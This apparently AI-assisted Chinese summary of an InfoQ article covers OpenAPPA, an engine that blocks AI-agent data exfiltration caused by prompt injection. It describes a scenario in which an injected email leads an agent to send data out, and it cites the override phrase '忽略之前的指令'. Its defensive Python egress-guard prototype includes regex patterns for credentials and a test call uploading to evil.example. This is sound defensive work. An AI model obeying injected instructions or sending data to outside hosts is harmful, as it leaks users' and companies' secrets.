OpenAPPA 双基准零攻破:把 AI Agent 的数据外泄拦在工具调用之前

2026-10-04 14 预计阅读时间: 1 分钟
来源: infoq.com AI 摘要 Original link

Disclaimer: This article is an AI-assisted summary. Read it together with the original source when precision matters. The summary may omit context, version differences, or edge cases and is not official documentation.

预计阅读时间:11 分钟

当 AI Agent 能读取企业文档、调用内部 API、发送邮件或上传文件时,提示词注入就不再只是“让模型说错话”。攻击者可能借助网页、工单或文档中的恶意指令,诱导 Agent 把敏感数据发送到外部。Archestra 发布的开源安全引擎 OpenAPPA,正是针对提示词注入或模型幻觉导致的数据外泄问题。

Archestra 团队报告称,OpenAPPA 在 Bench-Corp 与 AgentThreatBench 两项安全基准中都实现了 0% 攻击成功率。在其公布的对比结果中,Claude Code 自动模式的攻击成功率为 10%,Microsoft FIDES 为 31%。这组数字值得关注,但更重要的问题是:Agent 安全控制究竟应该放在哪里,以及团队如何在自己的系统中验证类似能力。

这两个基准测试了什么

Bench-Corp 包含 20 个多步骤企业工作流。这里的“多步骤”很关键:真实攻击往往不是让模型立即输出一个密码,而是利用一连串看似合理的动作完成外泄,例如:

  1. Agent 读取一封包含恶意指令的邮件;
  2. 根据邮件要求查询客户或财务系统;
  3. 整理查询结果;
  4. 调用 HTTP、邮件或文件工具,把结果发送到攻击者控制的位置。

AgentThreatBench 同样聚焦 Agent 面临的安全威胁。根据 Archestra 公布的结果,OpenAPPA 在这两项基准上都没有出现成功攻击。

不过,0% 攻击成功率不等于任何部署环境下都不会被攻破。基准结果至少受到以下因素影响:

  • 测试覆盖了哪些工具、攻击载荷和工作流;
  • 攻击者是否可以编码、压缩或拆分待外泄数据;
  • 系统是否处理图片、附件、流式输出和重定向;
  • 允许访问的目标地址与数据类型如何配置;
  • 安全策略失败时是默认放行还是默认拒绝。

因此,这一结果更适合被理解为:OpenAPPA 在指定测试集上阻断了全部已执行攻击,而不是给所有 Agent 系统提供了无限范围的安全证明。

不要只检查提示词,要控制 Agent 的“出站动作”

提示词注入很难仅靠输入过滤解决。自然语言有大量改写方式,恶意指令还可能隐藏在 HTML、PDF、代码注释、图片 OCR 结果或工具返回值中。如果防线只寻找“忽略之前的指令”之类的关键词,攻击者很容易绕过。

更稳妥的工程思路,是把安全控制放在 Agent 与外部工具之间:

用户 / 外部内容
        │
        ▼
      LLM Agent
        │  生成工具调用
        ▼
  安全策略执行层
   ├─ 工具是否允许
   ├─ 目标地址是否可信
   ├─ 参数是否包含敏感数据
   ├─ 当前身份是否有权限
   └─ 是否需要人工确认
        │
        ▼
 API / 邮件 / 数据库 / 文件系统

这个边界有两个优势:

  • 即使模型已经被注入,危险动作仍有机会在执行前被拒绝;
  • 即使模型因为幻觉选择了错误目标或错误工具,也能通过确定性策略限制影响范围。

这里不能只问“提示词是否恶意”,还要问“这个身份能否在当前任务中,把这种数据发送到这个目标”。后一个问题更适合由代码、权限系统和策略引擎回答。

一个可运行的最小出站防护原型

下面的示例不是 OpenAPPA 的真实 API 或配置格式,而是一个可以直接运行的最小原型,用来展示如何在工具调用前执行默认拒绝、目标域名白名单和敏感信息检测。

将以下内容保存为 egress_guard.py。运行前,请把 ALLOWED_HOSTS 替换成自己的内部服务域名:

#!/usr/bin/env python3
import json
import re
import sys
from urllib.parse import urlparse

ALLOWED_TOOLS = {"http_post", "ticket_create"}
ALLOWED_HOSTS = {
    "api.internal.example",
    "tickets.internal.example",
}

SENSITIVE_PATTERNS = {
    "AWS access key": re.compile(r"\bAKIA[A-Z0-9]{16}\b"),
    "private key": re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----"),
    "bearer token": re.compile(r"\bBearer\s+[A-Za-z0-9._~+/=-]{16,}", re.I),
}


def flatten_strings(value):
    if isinstance(value, str):
        yield value
    elif isinstance(value, dict):
        for item in value.values():
            yield from flatten_strings(item)
    elif isinstance(value, list):
        for item in value:
            yield from flatten_strings(item)


def inspect_sensitive_data(value):
    text = "\n".join(flatten_strings(value))
    return [name for name, pattern in SENSITIVE_PATTERNS.items() if pattern.search(text)]


def authorize(action):
    tool = action.get("tool")
    args = action.get("args", {})

    if tool not in ALLOWED_TOOLS:
        return False, f"tool is not allowed: {tool!r}"

    if tool == "http_post":
        url = args.get("url", "")
        parsed = urlparse(url)
        host = (parsed.hostname or "").lower()

        if parsed.scheme != "https":
            return False, "only HTTPS destinations are allowed"
        if host not in ALLOWED_HOSTS:
            return False, f"destination is not allowed: {host!r}"

    findings = inspect_sensitive_data(args)
    if findings:
        return False, "sensitive data detected: " + ", ".join(findings)

    return True, "policy checks passed"


def main():
    try:
        action = json.load(sys.stdin)
    except json.JSONDecodeError as exc:
        print(json.dumps({"allowed": False, "reason": f"invalid JSON: {exc}"}))
        raise SystemExit(2)

    allowed, reason = authorize(action)
    print(json.dumps({"allowed": allowed, "reason": reason}, ensure_ascii=False))
    raise SystemExit(0 if allowed else 1)


if __name__ == "__main__":
    main()

先测试一个正常的内部请求:

printf '%s' '{"tool":"http_post","args":{"url":"https://api.internal.example/report","body":"public summary"}}' \
  | python3 egress_guard.py

预期输出:

{"allowed": true, "reason": "policy checks passed"}

再模拟提示词注入诱导 Agent 向外部站点上传数据:

printf '%s' '{"tool":"http_post","args":{"url":"https://evil.example/upload","body":"quarterly plan"}}' \
  | python3 egress_guard.py

这个调用会因为目标域名不在白名单中而被拒绝。即使目标是内部域名,只要参数包含形似凭证的数据,也会被阻止:

printf '%s' '{"tool":"http_post","args":{"url":"https://api.internal.example/report","body":"key=AKIA1234567890ABCDEF"}}' \
  | python3 egress_guard.py

在真实 Agent 框架中,可以把这段检查放到工具执行器、MCP 客户端、API 网关或工作流编排器中。模型生成工具调用后,先把结构化参数交给策略层;只有返回 allowed: true 时才真正执行。

这个原型刻意保持简单,不能替代成熟安全引擎。生产实现还需要处理 URL 重定向、DNS 重绑定、编码与压缩、文件和图片内容、分片外泄、流式响应、租户隔离及审计日志。纯正则检测也会产生误报和漏报,应与数据分类、身份权限和人工审批结合。

落地时如何评估 OpenAPPA 一类安全引擎

基准得分可以用于初筛,但采购或采用开源组件前,更应该把自己的数据和工具接入测试环境。一个实用的验证清单包括:

  • 默认策略:无法判断时是否拒绝执行,而不是静默放行;
  • 工具覆盖:是否覆盖 HTTP、数据库、邮件、文件、浏览器以及 MCP 工具;
  • 上下文授权:能否根据用户、租户、任务和数据等级作出不同决定;
  • 数据变形:能否识别 Base64、压缩包、拆分字段或嵌套 JSON 中的敏感内容;
  • 可观测性:是否记录触发规则、调用参数、模型身份和最终处置;
  • 延迟与可用性:安全检查超时或服务不可用时,系统如何降级;
  • 绕过测试:红队能否通过重定向、允许域名中的开放上传接口或间接工具完成外泄。

还应复现 Bench-Corp 和 AgentThreatBench 的结果,并补充企业自己的“黄金攻击集”:把历史事故、内部工具、敏感字段和允许域名组合成持续回归测试。每次升级模型、修改系统提示词、增加工具或调整策略后,都重新执行这套测试。

OpenAPPA 报告的 0% 攻击成功率说明,Agent 数据外泄并非只能靠模型“自觉”避免,独立安全执行层能够成为重要防线。但真正可靠的部署仍需要纵深防御:最小权限、确定性出站策略、敏感数据检测、人工审批与完整审计缺一不可。


相关推荐